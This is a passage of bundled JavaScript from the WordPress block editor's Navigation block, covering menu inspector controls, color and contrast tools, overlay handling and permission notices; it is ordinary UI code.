    const description = navigationMenu ? (0, import_i18n139.sprintf)(
      /* translators: %s: The name of a menu. */
      (0, import_i18n139.__)("Structure for Navigation Menu: %s"),
      navigationMenu?.title || (0, import_i18n139.__)("Untitled menu")
    ) : (0, import_i18n139.__)(
      "You have not yet created any menus. Displaying a list of your Pages"
    );
    return /* @__PURE__ */ (0, import_jsx_runtime329.jsxs)("div", { className: "wp-block-navigation__menu-inspector-controls", children: [
      !hasChildren && /* @__PURE__ */ (0, import_jsx_runtime329.jsx)("p", { className: "wp-block-navigation__menu-inspector-controls__empty-message", children: (0, import_i18n139.__)("This Navigation Menu is empty.") }),
      /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(
        PrivateListView,
        {
          rootClientId: clientId,
          isExpanded: true,
          description,
          showAppender: true,
          blockSettingsMenu: LeafMoreMenu,
          additionalBlockContent: AdditionalBlockContent,
          onSelect: openListViewContentPanel
        },
        `${clientId}-${expandRevision}`
      )
    ] });
  };
  var MenuInspectorControls = (props) => {
    const {
      clientId,
      createNavigationMenuIsSuccess,
      createNavigationMenuIsError,
      currentMenuId = null,
      onCreateNew,
      onSelectClassicMenu,
      onSelectNavigationMenu,
      isManageMenusButtonDisabled,
      blockEditingMode
    } = props;
    const { isSelectionWithinCurrentSection } = (0, import_element79.useContext)(PrivateBlockContext);
    const blockTitle = useBlockDisplayTitle({
      clientId,
      context: "list-view"
    });
    const showBlockTitle = isSelectionWithinCurrentSection;
    const { isOpened, expandRevision, handleToggle } = useListViewPanelState(clientId);
    if (!showBlockTitle) {
      return /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(import_block_editor156.InspectorControls, { group: "list", children: /* @__PURE__ */ (0, import_jsx_runtime329.jsxs)(import_components91.PanelBody, { title: null, children: [
        /* @__PURE__ */ (0, import_jsx_runtime329.jsxs)(import_components91.__experimentalHStack, { className: "wp-block-navigation-off-canvas-editor__header", children: [
          /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(
            import_components91.__experimentalHeading,
            {
              className: "wp-block-navigation-off-canvas-editor__title",
              level: 2,
              children: blockTitle
            }
          ),
          blockEditingMode === "default" && /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(
            navigation_menu_selector_default,
            {
              currentMenuId,
              onSelectClassicMenu,
              onSelectNavigationMenu,
              onCreateNew,
              createNavigationMenuIsSuccess,
              createNavigationMenuIsError,
              actionLabel,
              isManageMenusButtonDisabled
            }
          )
        ] }),
        /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(
          MainContent,
          {
            ...props,
            expandRevision
          }
        )
      ] }) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(import_block_editor156.InspectorControls, { group: "list", children: /* @__PURE__ */ (0, import_jsx_runtime329.jsxs)(
      import_components91.PanelBody,
      {
        title: (0, import_i18n139.__)("Navigation"),
        opened: isOpened,
        onToggle: handleToggle,
        children: [
          blockEditingMode === "default" && /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(
            navigation_menu_selector_default,
            {
              currentMenuId,
              onSelectClassicMenu,
              onSelectNavigationMenu,
              onCreateNew,
              createNavigationMenuIsSuccess,
              createNavigationMenuIsError,
              actionLabel,
              isManageMenusButtonDisabled
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(MainContent, { ...props, expandRevision })
        ]
      }
    ) });
  };
  var menu_inspector_controls_default = MenuInspectorControls;

  // packages/block-library/build-module/navigation/edit/accessible-description.mjs
  var import_components92 = __toESM(require_components(), 1);
  var import_jsx_runtime330 = __toESM(require_jsx_runtime(), 1);
  function AccessibleDescription({ id, children }) {
    return /* @__PURE__ */ (0, import_jsx_runtime330.jsx)(import_components92.VisuallyHidden, { children: /* @__PURE__ */ (0, import_jsx_runtime330.jsx)("div", { id, className: "wp-block-navigation__description", children }) });
  }

  // packages/block-library/build-module/navigation/edit/accessible-menu-description.mjs
  var import_core_data47 = __toESM(require_core_data(), 1);
  var import_i18n140 = __toESM(require_i18n(), 1);
  var import_jsx_runtime331 = __toESM(require_jsx_runtime(), 1);
  function AccessibleMenuDescription({ id }) {
    const [menuTitle] = (0, import_core_data47.useEntityProp)("postType", "wp_navigation", "title");
    const description = (0, import_i18n140.sprintf)((0, import_i18n140.__)(`Navigation Menu: "%s"`), menuTitle);
    return /* @__PURE__ */ (0, import_jsx_runtime331.jsx)(AccessibleDescription, { id, children: description });
  }

  // packages/block-library/build-module/utils/is-within-overlay.mjs
  var import_data85 = __toESM(require_data(), 1);
  var import_core_data48 = __toESM(require_core_data(), 1);
  function isWithinNavigationOverlay() {
    const editorStore = (0, import_data85.select)("core/editor");
    if (!editorStore) {
      return false;
    }
    const { getCurrentPostType, getCurrentPostId } = editorStore;
    const { getEditedEntityRecord } = (0, import_data85.select)(import_core_data48.store);
    const postType = getCurrentPostType?.();
    const postId = getCurrentPostId?.();
    if (postType === "wp_template_part" && postId) {
      const templatePart = getEditedEntityRecord(
        "postType",
        "wp_template_part",
        postId
      );
      return templatePart?.area === NAVIGATION_OVERLAY_TEMPLATE_PART_AREA;
    }
    return false;
  }

  // packages/block-library/build-module/navigation/edit/index.mjs
  var import_jsx_runtime332 = __toESM(require_jsx_runtime(), 1);
  function NavigationAddPageButton({ clientId }) {
    const { insertBlock } = (0, import_data86.useDispatch)(import_block_editor157.store);
    const { getBlockCount } = (0, import_data86.useSelect)(import_block_editor157.store);
    const onAddPage = (0, import_element80.useCallback)(() => {
      const blockCount = getBlockCount(clientId);
      const newBlock = (0, import_blocks62.createBlock)(DEFAULT_BLOCK5.name, {
        kind: DEFAULT_BLOCK5.attributes.kind,
        type: DEFAULT_BLOCK5.attributes.type
      });
      insertBlock(newBlock, blockCount, clientId);
    }, [clientId, insertBlock, getBlockCount]);
    return /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(import_block_editor157.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(import_components93.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
      import_components93.ToolbarButton,
      {
        name: "add-page",
        icon: page_default,
        onClick: onAddPage,
        children: (0, import_i18n141.__)("Add page")
      }
    ) }) });
  }
  function ColorTools({
    textColor,
    setTextColor,
    backgroundColor,
    setBackgroundColor,
    overlayTextColor,
    setOverlayTextColor,
    overlayBackgroundColor,
    setOverlayBackgroundColor,
    clientId,
    navRef,
    hasCustomOverlay
  }) {
    const [detectedBackgroundColor, setDetectedBackgroundColor] = (0, import_element80.useState)();
    const [detectedColor, setDetectedColor] = (0, import_element80.useState)();
    const [
      detectedOverlayBackgroundColor,
      setDetectedOverlayBackgroundColor
    ] = (0, import_element80.useState)();
    const [detectedOverlayColor, setDetectedOverlayColor] = (0, import_element80.useState)();
    const isWithinOverlay = (0, import_data86.useSelect)(() => isWithinNavigationOverlay(), []);
    const enableContrastChecking = import_element80.Platform.OS === "web";
    (0, import_element80.useEffect)(() => {
      if (!enableContrastChecking) {
        return;
      }
      detectColors(
        navRef.current,
        setDetectedColor,
        setDetectedBackgroundColor
      );
      const subMenuElement = navRef.current?.querySelector(
        '[data-type="core/navigation-submenu"] [data-type="core/navigation-link"]'
      );
      if (!subMenuElement) {
        return;
      }
      if (overlayTextColor.color || overlayBackgroundColor.color) {
        detectColors(
          subMenuElement,
          setDetectedOverlayColor,
          setDetectedOverlayBackgroundColor
        );
      }
    }, [
      enableContrastChecking,
      overlayTextColor.color,
      overlayBackgroundColor.color,
      navRef
    ]);
    const colorGradientSettings = (0, import_block_editor157.__experimentalUseMultipleOriginColorsAndGradients)();
    if (!colorGradientSettings.hasColorsOrGradients) {
      return null;
    }
    const colorSettings = [
      {
        colorValue: textColor.color,
        label: (0, import_i18n141.__)("Text"),
        onColorChange: setTextColor,
        resetAllFilter: () => setTextColor(),
        clearable: true,
        enableAlpha: true
      },
      {
        colorValue: backgroundColor.color,
        label: (0, import_i18n141.__)("Background"),
        onColorChange: setBackgroundColor,
        resetAllFilter: () => setBackgroundColor(),
        clearable: true,
        enableAlpha: true
      }
    ];
    colorSettings.push(
      {
        colorValue: overlayTextColor.color,
        label: hasCustomOverlay || isWithinOverlay ? (0, import_i18n141.__)("Submenu text") : (0, import_i18n141.__)("Submenu & overlay text"),
        onColorChange: setOverlayTextColor,
        resetAllFilter: () => setOverlayTextColor(),
        clearable: true,
        enableAlpha: true
      },
      {
        colorValue: overlayBackgroundColor.color,
        label: hasCustomOverlay || isWithinOverlay ? (0, import_i18n141.__)("Submenu background") : (0, import_i18n141.__)("Submenu & overlay background"),
        onColorChange: setOverlayBackgroundColor,
        resetAllFilter: () => setOverlayBackgroundColor(),
        clearable: true,
        enableAlpha: true
      }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_jsx_runtime332.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
        import_block_editor157.__experimentalColorGradientSettingsDropdown,
        {
          __experimentalIsRenderedInSidebar: true,
          settings: colorSettings,
          panelId: clientId,
          ...colorGradientSettings,
          gradients: [],
          disableCustomGradients: true
        }
      ),
      enableContrastChecking && /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_jsx_runtime332.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
          import_block_editor157.ContrastChecker,
          {
            backgroundColor: detectedBackgroundColor,
            textColor: detectedColor
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
          import_block_editor157.ContrastChecker,
          {
            backgroundColor: detectedOverlayBackgroundColor,
            textColor: detectedOverlayColor
          }
        )
      ] })
    ] });
  }
  function Navigation({
    attributes: attributes2,
    setAttributes,
    clientId,
    isSelected,
    className,
    backgroundColor,
    setBackgroundColor,
    textColor,
    setTextColor,
    overlayBackgroundColor,
    setOverlayBackgroundColor,
    overlayTextColor,
    setOverlayTextColor,
    // These props are used by the navigation editor to override specific
    // navigation block settings.
    customPlaceholder: CustomPlaceholder = null,
    __unstableLayoutClassNames: layoutClassNames
  }) {
    const {
      submenuVisibility,
      overlayMenu,
      overlay,
      showSubmenuIcon,
      templateLock,
      layout: {
        justifyContent,
        orientation = "horizontal",
        flexWrap = "wrap"
      } = {},
      hasIcon,
      icon: icon4 = "handle"
    } = attributes2;
    const ref = attributes2.ref;
    const setRef = (0, import_element80.useCallback)(
      (postId) => {
        setAttributes({ ref: postId });
      },
      [setAttributes]
    );
    const recursionId = `navigationMenu/${ref}`;
    const recursionDetected = (0, import_block_editor157.useHasRecursion)(recursionId);
    const { isPreviewMode, onNavigateToEntityRecord, currentTheme } = (0, import_data86.useSelect)(
      (select9) => {
        const { getSettings: getSettings2 } = select9(import_block_editor157.store);
        const settings122 = getSettings2();
        return {
          isPreviewMode: settings122.isPreviewMode,
          onNavigateToEntityRecord: settings122?.onNavigateToEntityRecord,
          // Needed to construct the template part ID for the overlay preview.
          currentTheme: select9(import_core_data49.store).getCurrentTheme()?.stylesheet
        };
      },
      []
    );
    const hasAlreadyRendered = isPreviewMode ? false : recursionDetected;
    const blockEditingMode = (0, import_block_editor157.useBlockEditingMode)();
    const { menus: classicMenus } = useNavigationEntities();
    const [showNavigationMenuStatusNotice, hideNavigationMenuStatusNotice] = use_navigation_notice_default({
      name: "block-library/core/navigation/status"
    });
    const [showClassicMenuConversionNotice, hideClassicMenuConversionNotice] = use_navigation_notice_default({
      name: "block-library/core/navigation/classic-menu-conversion"
    });
    const [
      showNavigationMenuPermissionsNotice,
      hideNavigationMenuPermissionsNotice
    ] = use_navigation_notice_default({
      name: "block-library/core/navigation/permissions/update"
    });
    const {
      create: createNavigationMenu,
      status: createNavigationMenuStatus,
      error: createNavigationMenuError,
      value: createNavigationMenuPost,
      isPending: isCreatingNavigationMenu,
      isSuccess: createNavigationMenuIsSuccess,
      isError: createNavigationMenuIsError
    } = useCreateNavigationMenu(clientId);
    const createUntitledEmptyNavigationMenu = async () => {
      await createNavigationMenu("");
    };
    const {
      hasUncontrolledInnerBlocks,
      uncontrolledInnerBlocks,
      isInnerBlockSelected,
      innerBlocks
    } = useInnerBlocks(clientId);
    const {
      replaceInnerBlocks,
      selectBlock,
      __unstableMarkNextChangeAsNotPersistent
    } = (0, import_data86.useDispatch)(import_block_editor157.store);
    (0, import_element80.useEffect)(() => {
      if (orientation === "horizontal" && submenuVisibility === "always") {
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({
          submenuVisibility: "hover",
          showSubmenuIcon: true
        });
      }
    }, [
      orientation,
      submenuVisibility,
      setAttributes,
      __unstableMarkNextChangeAsNotPersistent
    ]);
    const hasPageListWithSubmenuRef = (0, import_element80.useRef)(false);
    const hasSubmenus = (0, import_data86.useSelect)(
      (select9) => {
        const hasNavigationSubmenu = innerBlocks.some(
          (block) => block.name === "core/navigation-submenu"
        );
        if (hasNavigationSubmenu) {
          return true;
        }
        const pageList = innerBlocks.find(
          (block) => block.name === "core/page-list"
        );
        if (!pageList) {
          hasPageListWithSubmenuRef.current = false;
          return false;
        }
        if (hasPageListWithSubmenuRef.current) {
          return true;
        }
        const { getBlocks } = select9(import_block_editor157.store);
        const pageListBlocks = getBlocks(pageList.clientId);
        if (pageListBlocks.length > 0) {
          hasPageListWithSubmenuRef.current = true;
          return true;
        }
        return false;
      },
      [innerBlocks]
    );
    const { records: overlayTemplateParts } = (0, import_core_data49.useEntityRecords)(
      "postType",
      "wp_template_part",
      {
        per_page: -1
      }
    );
    const hasOverlays = overlayTemplateParts?.some(
      (templatePart) => templatePart.area === NAVIGATION_OVERLAY_TEMPLATE_PART_AREA
    ) ?? false;
    const [isResponsiveMenuOpen, setResponsiveMenuVisibility] = (0, import_element80.useState)(false);
    const [overlayMenuPreview, setOverlayMenuPreview] = (0, import_element80.useState)(false);
    const {
      hasResolvedNavigationMenus,
      isNavigationMenuResolved,
      isNavigationMenuMissing,
      canUserUpdateNavigationMenu,
      hasResolvedCanUserUpdateNavigationMenu,
      canUserDeleteNavigationMenu,
      hasResolvedCanUserDeleteNavigationMenu,
      canUserCreateNavigationMenus,
      isResolvingCanUserCreateNavigationMenus,
      hasResolvedCanUserCreateNavigationMenus
    } = useNavigationMenu(ref);
    const navMenuResolvedButMissing = hasResolvedNavigationMenus && isNavigationMenuMissing;
    const {
      convert: convertClassicMenu,
      status: classicMenuConversionStatus,
      error: classicMenuConversionError
    } = use_convert_classic_menu_to_block_menu_default(createNavigationMenu);
    const isConvertingClassicMenu = classicMenuConversionStatus === CLASSIC_MENU_CONVERSION_PENDING;
    const handleUpdateMenu = (0, import_element80.useCallback)(
      (menuId, options2 = { focusNavigationBlock: false }) => {
        const { focusNavigationBlock } = options2;
        setRef(menuId);
        if (focusNavigationBlock) {
          selectBlock(clientId);
        }
      },
      [selectBlock, clientId, setRef]
    );
    const isEntityAvailable = !isNavigationMenuMissing && isNavigationMenuResolved;
    const hasUnsavedBlocks = hasUncontrolledInnerBlocks && !isEntityAvailable;
    const { getNavigationFallbackId } = unlock((0, import_data86.useSelect)(import_core_data49.store));
    const navigationFallbackId = !(ref || hasUnsavedBlocks) ? getNavigationFallbackId() : null;
    (0, import_element80.useEffect)(() => {
      if (ref || hasUnsavedBlocks || !navigationFallbackId) {
        return;
      }
      __unstableMarkNextChangeAsNotPersistent();
      setRef(navigationFallbackId);
    }, [
      ref,
      setRef,
      hasUnsavedBlocks,
      navigationFallbackId,
      __unstableMarkNextChangeAsNotPersistent
    ]);
    const navRef = (0, import_element80.useRef)();
    const isWithinOverlay = (0, import_data86.useSelect)(() => isWithinNavigationOverlay(), []);
    const TagName2 = isWithinOverlay ? "div" : "nav";
    const isPlaceholder = !ref && !isCreatingNavigationMenu && !isConvertingClassicMenu && hasResolvedNavigationMenus && classicMenus?.length === 0 && !hasUncontrolledInnerBlocks;
    const isLoading = !hasResolvedNavigationMenus || isCreatingNavigationMenu || isConvertingClassicMenu || !!(ref && !isEntityAvailable && !isConvertingClassicMenu);
    const textDecoration = attributes2.style?.typography?.textDecoration;
    const hasBlockOverlay = (0, import_data86.useSelect)(
      (select9) => select9(import_block_editor157.store).__unstableHasActiveBlockOverlayActive(
        clientId
      ),
      [clientId]
    );
    const hasSetOverlayDefault = (0, import_element80.useRef)(false);
    (0, import_element80.useEffect)(() => {
      if (!isWithinOverlay) {
        return;
      }
      if (overlayMenu !== "never") {
        setAttributes({ overlayMenu: "never" });
      }
      if (!hasSetOverlayDefault.current && !ref) {
        hasSetOverlayDefault.current = true;
        setAttributes({
          submenuVisibility: "always",
          layout: {
            ...attributes2.layout,
            orientation: "vertical"
          },
          showSubmenuIcon: false
        });
      }
    }, [
      attributes2.layout,
      isWithinOverlay,
      overlayMenu,
      ref,
      setAttributes
    ]);
    const isResponsive = "never" !== overlayMenu;
    const blockProps = (0, import_block_editor157.useBlockProps)({
      ref: navRef,
      className: clsx_default(
        className,
        {
          "items-justified-right": justifyContent === "right",
          "items-justified-space-between": justifyContent === "space-between",
          "items-justified-left": justifyContent === "left",
          "items-justified-center": justifyContent === "center",
          "is-vertical": orientation === "vertical",
          "no-wrap": flexWrap === "nowrap",
          "is-responsive": isResponsive,
          "has-text-color": !!textColor.color || !!textColor?.class,
          [(0, import_block_editor157.getColorClassName)("color", textColor?.slug)]: !!textColor?.slug,
          "has-background": !!backgroundColor.color || backgroundColor.class,
          [(0, import_block_editor157.getColorClassName)(
            "background-color",
            backgroundColor?.slug
          )]: !!backgroundColor?.slug,
          [`has-text-decoration-${textDecoration}`]: textDecoration,
          "block-editor-block-content-overlay": hasBlockOverlay
        },
        layoutClassNames
      ),
      style: {
        color: !textColor?.slug && textColor?.color,
        backgroundColor: !backgroundColor?.slug && backgroundColor?.color
      }
    });
    const onSelectClassicMenu = async (classicMenu) => {
      return convertClassicMenu(classicMenu.id, classicMenu.name, "draft");
    };
    const onSelectNavigationMenu = (menuId) => {
      handleUpdateMenu(menuId);
    };
    (0, import_element80.useEffect)(() => {
      hideNavigationMenuStatusNotice();
      if (isCreatingNavigationMenu) {
        (0, import_a11y3.speak)((0, import_i18n141.__)(`Creating Navigation Menu.`));
      }
      if (createNavigationMenuIsSuccess) {
        handleUpdateMenu(createNavigationMenuPost?.id, {
          focusNavigationBlock: true
        });
        showNavigationMenuStatusNotice(
          (0, import_i18n141.__)(`Navigation Menu successfully created.`)
        );
      }
      if (createNavigationMenuIsError) {
        showNavigationMenuStatusNotice(
          (0, import_i18n141.__)("Failed to create Navigation Menu.")
        );
      }
    }, [
      createNavigationMenuStatus,
      createNavigationMenuError,
      createNavigationMenuPost?.id,
      createNavigationMenuIsError,
      createNavigationMenuIsSuccess,
      isCreatingNavigationMenu,
      handleUpdateMenu,
      hideNavigationMenuStatusNotice,
      showNavigationMenuStatusNotice
    ]);
    (0, import_element80.useEffect)(() => {
      hideClassicMenuConversionNotice();
      if (classicMenuConversionStatus === CLASSIC_MENU_CONVERSION_PENDING) {
        (0, import_a11y3.speak)((0, import_i18n141.__)("Classic menu importing."));
      }
      if (classicMenuConversionStatus === CLASSIC_MENU_CONVERSION_SUCCESS) {
        showClassicMenuConversionNotice(
          (0, import_i18n141.__)("Classic menu imported successfully.")
        );
        handleUpdateMenu(createNavigationMenuPost?.id, {
          focusNavigationBlock: true
        });
      }
      if (classicMenuConversionStatus === CLASSIC_MENU_CONVERSION_ERROR) {
        showClassicMenuConversionNotice(
          (0, import_i18n141.__)("Classic menu import failed.")
        );
      }
    }, [
      classicMenuConversionStatus,
      classicMenuConversionError,
      hideClassicMenuConversionNotice,
      showClassicMenuConversionNotice,
      createNavigationMenuPost?.id,
      handleUpdateMenu
    ]);
    (0, import_element80.useEffect)(() => {
      if (!isSelected && !isInnerBlockSelected) {
        hideNavigationMenuPermissionsNotice();
      }
      if (isSelected || isInnerBlockSelected) {
        if (ref && !navMenuResolvedButMissing && hasResolvedCanUserUpdateNavigationMenu && !canUserUpdateNavigationMenu) {
          showNavigationMenuPermissionsNotice(
            (0, import_i18n141.__)(
              "You do not have permission to edit this Menu. Any changes made will not be saved."
            )
          );
        }
        if (!ref && hasResolvedCanUserCreateNavigationMenus && !canUserCreateNavigationMenus) {
          showNavigationMenuPermissionsNotice(
            (0, import_i18n141.__)(
              "You do not have permission to create Navigation Menus."
            )
          );
        }
      }
    }, [
      isSelected,
      isInnerBlockSelected,
      canUserUpdateNavigationMenu,
      hasResolvedCanUserUpdateNavigationMenu,
      canUserCreateNavigationMenus,
      hasResolvedCanUserCreateNavigationMenus,
      ref,
      hideNavigationMenuPermissionsNotice,
      showNavigationMenuPermissionsNotice,
      navMenuResolvedButMissing
    ]);
    const hasManagePermissions = canUserCreateNavigationMenus || canUserUpdateNavigationMenu;
    const overlayMenuPreviewClasses = clsx_default(
      "wp-block-navigation__overlay-menu-preview",
      { open: overlayMenuPreview }
    );
    const submenuAccessibilityNotice = !showSubmenuIcon && submenuVisibility !== "click" && submenuVisibility !== "always" ? (0, import_i18n141.__)(
      'The current menu options offer reduced accessibility for users and are not recommended. Enabling either "Open on Click" or "Show arrow" offers enhanced accessibility by allowing keyboard users to browse submenus selectively.'
    ) : "";
    const isFirstRender = (0, import_element80.useRef)(true);
    (0, import_element80.useEffect)(() => {
      if (!isFirstRender.current && submenuAccessibilityNotice) {
        (0, import_a11y3.speak)(submenuAccessibilityNotice);
      }
      isFirstRender.current = false;
    }, [submenuAccessibilityNotice]);
    const overlayMenuPreviewId = (0, import_compose35.useInstanceId)(
      OverlayMenuPreview,
      `overlay-menu-preview`
    );
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const stylingInspectorControls = /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_jsx_runtime332.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(import_block_editor157.InspectorControls, { children: hasSubmenus && /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
        import_components93.__experimentalToolsPanel,
        {
          label: (0, import_i18n141.__)("Display"),
          resetAll: () => {
            setAttributes({
              showSubmenuIcon: true,
              submenuVisibility: "hover",
              overlayMenu: "mobile",
              hasIcon: true,
              icon: "handle"
            });
          },
          dropdownMenuProps,
          children: hasSubmenus && /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_jsx_runtime332.Fragment, { children: [
            /* @__PURE__ */ (0, import_jsx_runtime332.jsx)("h3", { className: "wp-block-navigation__submenu-header", children: (0, import_i18n141.__)("Submenus") }),
            /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
              import_components93.__experimentalToolsPanelItem,
              {
                hasValue: () => submenuVisibility !== "hover",
                label: (0, import_i18n141.__)("Submenu Visibility"),
                onDeselect: () => setAttributes({
                  submenuVisibility: "hover"
                }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(
                  import_components93.__experimentalToggleGroupControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n141.__)("Submenu Visibility"),
                    value: submenuVisibility,
                    onChange: (value) => {
                      const newAttributes = {
                        submenuVisibility: value
                      };
                      const prevSubmenuVisibility = submenuVisibility;
                      if (value === "always") {
                        newAttributes.showSubmenuIcon = false;
                      } else if (value === "click" || prevSubmenuVisibility === "always") {
                        newAttributes.showSubmenuIcon = true;
                      }
                      setAttributes(newAttributes);
                    },
                    isBlock: true,
                    children: [
                      /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
                        import_components93.__experimentalToggleGroupControlOption,
                        {
                          value: "hover",
                          label: (0, import_i18n141.__)("Hover")
                        }
                      ),
                      /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
                        import_components93.__experimentalToggleGroupControlOption,
                        {
                          value: "click",
                          label: (0, import_i18n141.__)("Click")
                        }
                      ),
                      orientation === "vertical" && /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
                        import_components93.__experimentalToggleGroupControlOption,
                        {
                          value: "always",
                          label: (0, import_i18n141.__)("Always")
                        }
                      )
                    ]
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
              import_components93.__experimentalToolsPanelItem,
              {
                hasValue: () => !showSubmenuIcon,
                label: (0, import_i18n141.__)("Show arrow"),
                onDeselect: () => setAttributes({
                  showSubmenuIcon: true
                }),
                isDisabled: submenuVisibility === "click" || submenuVisibility === "always",
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
                  import_components93.ToggleControl,
                  {
                    checked: showSubmenuIcon,
                    onChange: (value) => {
                      setAttributes({
                        showSubmenuIcon: value
                      });
                    },
                    disabled: submenuVisibility === "click" || submenuVisibility === "always",
                    label: (0, import_i18n141.__)("Show arrow")
                  }
                )
              }
            ),
            submenuAccessibilityNotice && /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
              import_components93.Notice,
              {
                spokenMessage: null,
                status: "warning",
                isDismissible: false,
                className: "wp-block-navigation__submenu-accessibility-notice",
                children: submenuAccessibilityNotice
              }
            )
          ] })
        }
      ) }),
      !isWithinOverlay && /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(import_block_editor157.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
        OverlayPanel,
        {
          overlayMenu,
          overlay,
          setAttributes,
          onNavigateToEntityRecord,
          overlayMenuPreview,
          setOverlayMenuPreview,
          hasIcon,
          icon: icon4,
          overlayMenuPreviewClasses,
          overlayMenuPreviewId,
          isResponsive,
          currentTheme,
          hasOverlays
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(import_block_editor157.InspectorControls, { group: "color", children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
        ColorTools,
        {
          textColor,
          setTextColor,
          backgroundColor,
          setBackgroundColor,
          overlayTextColor,
          setOverlayTextColor,
          overlayBackgroundColor,
          setOverlayBackgroundColor,
          clientId,
          navRef,
          hasCustomOverlay: !!overlay
        }
      ) })
    ] });
    const accessibleDescriptionId = `${clientId}-desc`;
    const isHiddenByDefault = "always" === overlayMenu;
    const isManageMenusButtonDisabled = !hasManagePermissions || !hasResolvedNavigationMenus;
    if (hasUnsavedBlocks && !isCreatingNavigationMenu) {
      return /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_jsx_runtime332.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
          menu_inspector_controls_default,
          {
            clientId,
            createNavigationMenuIsSuccess,
            createNavigationMenuIsError,
            currentMenuId: ref,
            isNavigationMenuMissing,
            isManageMenusButtonDisabled,
            onCreateNew: createUntitledEmptyNavigationMenu,
            onSelectClassicMenu,
            onSelectNavigationMenu,
            isLoading,
            blockEditingMode
          }
        ),
        blockEditingMode === "default" && stylingInspectorControls,
        /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(
          TagName2,
          {
            ...blockProps,
            "aria-describedby": !isPlaceholder ? accessibleDescriptionId : void 0,
            children: [
              /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(AccessibleDescription, { id: accessibleDescriptionId, children: (0, import_i18n141.__)("Unsaved Navigation Menu.") }),
              /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
                ResponsiveWrapper,
                {
                  id: clientId,
                  onToggle: setResponsiveMenuVisibility,
                  isOpen: isResponsiveMenuOpen,
                  hasIcon,
                  icon: icon4,
                  isResponsive,
                  isHiddenByDefault,
                  overlayBackgroundColor,
                  overlayTextColor,
                  overlay,
                  onNavigateToEntityRecord,
                  children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
                    UnsavedInnerBlocks,
                    {
                      createNavigationMenu,
                      blocks: uncontrolledInnerBlocks,
                      hasSelection: isSelected || isInnerBlockSelected
                    }
                  )
                }
              )
            ]
          }
        )
      ] });
    }
    if (ref && isNavigationMenuMissing) {
      return /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_jsx_runtime332.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
          menu_inspector_controls_default,
          {
            clientId,
            createNavigationMenuIsSuccess,
            createNavigationMenuIsError,
            currentMenuId: ref,
            isNavigationMenuMissing,
            isManageMenusButtonDisabled,
            onCreateNew: createUntitledEmptyNavigationMenu,
            onSelectClassicMenu,
            onSelectNavigationMenu,
            isLoading,
            blockEditingMode
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
          deleted_navigation_warning_default,
          {
            onCreateNew: createUntitledEmptyNavigationMenu
          }
        ) })
      ] });
    }
    if (isEntityAvailable && hasAlreadyRendered) {
      return /* @__PURE__ */ (0, import_jsx_runtime332.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(import_block_editor157.Warning, { children: (0, import_i18n141.__)("Block cannot be rendered inside itself.") }) });
    }
    const PlaceholderComponent = CustomPlaceholder ? CustomPlaceholder : NavigationPlaceholder;
    if (isPlaceholder && CustomPlaceholder) {
      return /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
        PlaceholderComponent,
        {
          isSelected,
          currentMenuId: ref,
          clientId,
          canUserCreateNavigationMenus,
          isResolvingCanUserCreateNavigationMenus,
          onSelectNavigationMenu,
          onSelectClassicMenu,
          onCreateEmpty: createUntitledEmptyNavigationMenu
        }
      ) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_jsx_runtime332.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
        menu_inspector_controls_default,
        {
          clientId,
          createNavigationMenuIsSuccess,
          createNavigationMenuIsError,
          currentMenuId: ref,
          isNavigationMenuMissing,
          isManageMenusButtonDisabled,
          onCreateNew: createUntitledEmptyNavigationMenu,
